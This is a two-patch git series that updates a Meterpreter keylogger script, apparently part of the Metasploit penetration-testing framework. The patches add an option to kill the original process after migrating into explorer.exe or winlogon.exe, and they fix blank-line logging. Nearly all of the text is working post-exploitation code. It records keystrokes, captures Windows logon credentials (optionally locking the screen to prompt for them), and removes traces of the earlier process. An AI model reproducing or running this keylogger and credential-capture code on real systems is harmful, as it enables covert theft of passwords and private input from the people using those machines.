From de725129584f5a286eba48be3092527a1f55e457 Mon Sep 17 00:00:00 2001
From: shellster <pwd_manager@hotmail.com>
Date: Fri, 22 Mar 2013 06:30:56 -0700
Subject: [PATCH 1/2] Update keylogrecorder.rb

Added -k option which, if provided, will attempt to kill the old pid after a successful migration.

Fixed a bug where a blank line would get added to the log file every polling interval if no keystrokes had been detected during that interval.
---
 scripts/meterpreter/keylogrecorder.rb | 29 +++++++++++++++++++++++----
 1 file changed, 25 insertions(+), 4 deletions(-)

diff --git a/scripts/meterpreter/keylogrecorder.rb b/scripts/meterpreter/keylogrecorder.rb
index e620d4cd83..c6b83bfec5 100644
--- a/scripts/meterpreter/keylogrecorder.rb
+++ b/scripts/meterpreter/keylogrecorder.rb
@@ -1,6 +1,7 @@
 # $Id$
 # $Revision$
 # Author: Carlos Perez at carlos_perez[at]darkoperator.com
+# Updates by Shellster
 #-------------------------------------------------------------------------------
 session = client
 # Script Options
@@ -8,7 +9,8 @@ session = client
 	"-h"  => [ false, "Help menu." ],
 	"-t"  => [ true,  "Time interval in seconds between recollection of keystrokes, default 30 seconds." ],
 	"-c"  => [ true,  "Type of key capture. (0) for user key presses or (1) for winlogon credential capture Default is 0." ],
-	"-l"  => [ false, "Lock screen when capturing Winlogon credentials."]
+	"-l"  => [ false, "Lock screen when capturing Winlogon credentials."],
+	"-k" => [ false, "Kill old Process"]
 )
 def usage
 	print_line("Keylogger Recorder Meterpreter Script")
@@ -50,8 +52,12 @@ def lock_screen
 	end
 end
 #Function to Migrate in to Explorer process to be able to interact with desktop
-def explrmigrate(session,captype,lock)
+def explrmigrate(session,captype,lock,kill)
 	#begin
+	
+	server = client.sys.process.open
+	original_pid = server.pid
+	
 	if captype.to_i == 0
 		process2mig = "explorer.exe"
 	elsif captype.to_i == 1
@@ -73,6 +79,12 @@ def explrmigrate(session,captype,lock)
 			print_status("\t#{process2mig} Process found, migrating into #{x['pid']}")
 			session.core.migrate(x['pid'].to_i)
 			print_status("Migration Successful!!")
+			
+			if (kill)
+				print_status("Killing old process")
+				client.sys.process.kill(original_pid)
+				print_status("Old process killed.") 
+			end
 		end
 	end
 	return true
@@ -125,7 +137,10 @@ def write_keylog_data session, logfile
 	end
 
 	sleep(2)
-	file_local_write(logfile,"#{outp}\n")
+
+	if(outp.length > 0)
+		file_local_write(logfile,"#{outp}\n")
+	end
 end
 
 # Function for Collecting Capture
@@ -133,6 +148,8 @@ def keycap(session, keytime, logfile)
 	begin
 		rec = 1
 		#Creating DB for captured keystrokes
+		file_local_write(logfile,"")
+		
 		print_status("Keystrokes being saved in to #{logfile}")
 		#Inserting keystrokes every number of seconds specified
 		print_status("Recording ")
@@ -157,6 +174,8 @@ end
 
 helpcall = 0
 lock = false
+kill = false
+
 @@exec_opts.parse(args) { |opt, idx, val|
 	case opt
 	when "-t"
@@ -167,10 +186,12 @@ lock = false
 		usage
 	when "-l"
 		lock = true
+	when "-k"
+		kill = true	
 	end
 }
 if client.platform =~ /win32|win64/
-	if explrmigrate(session,captype,lock)
+	if explrmigrate(session,captype,lock, kill)
 		if startkeylogger(session)
 			keycap(session, keytime, logfile)
 		end

From 2db85e8384817119c1d69211b30178e598c1b0c5 Mon Sep 17 00:00:00 2001
From: shellster <pwd_manager@hotmail.com>
Date: Fri, 22 Mar 2013 06:35:49 -0700
Subject: [PATCH 2/2] Update keylogrecorder.rb

Removed redundant code, added error checking.
---
 scripts/meterpreter/keylogrecorder.rb | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/scripts/meterpreter/keylogrecorder.rb b/scripts/meterpreter/keylogrecorder.rb
index c6b83bfec5..0bddc5cdc5 100644
--- a/scripts/meterpreter/keylogrecorder.rb
+++ b/scripts/meterpreter/keylogrecorder.rb
@@ -54,10 +54,6 @@ end
 #Function to Migrate in to Explorer process to be able to interact with desktop
 def explrmigrate(session,captype,lock,kill)
 	#begin
-	
-	server = client.sys.process.open
-	original_pid = server.pid
-	
 	if captype.to_i == 0
 		process2mig = "explorer.exe"
 	elsif captype.to_i == 1
@@ -81,9 +77,13 @@ def explrmigrate(session,captype,lock,kill)
 			print_status("Migration Successful!!")
 			
 			if (kill)
-				print_status("Killing old process")
-				client.sys.process.kill(original_pid)
-				print_status("Old process killed.") 
+				begin
+					print_status("Killing old process")
+					client.sys.process.kill(mypid)
+					print_status("Old process killed.")
+				rescue
+					print_status("Failed to kill old process.")
+				end
 			end
 		end
 	end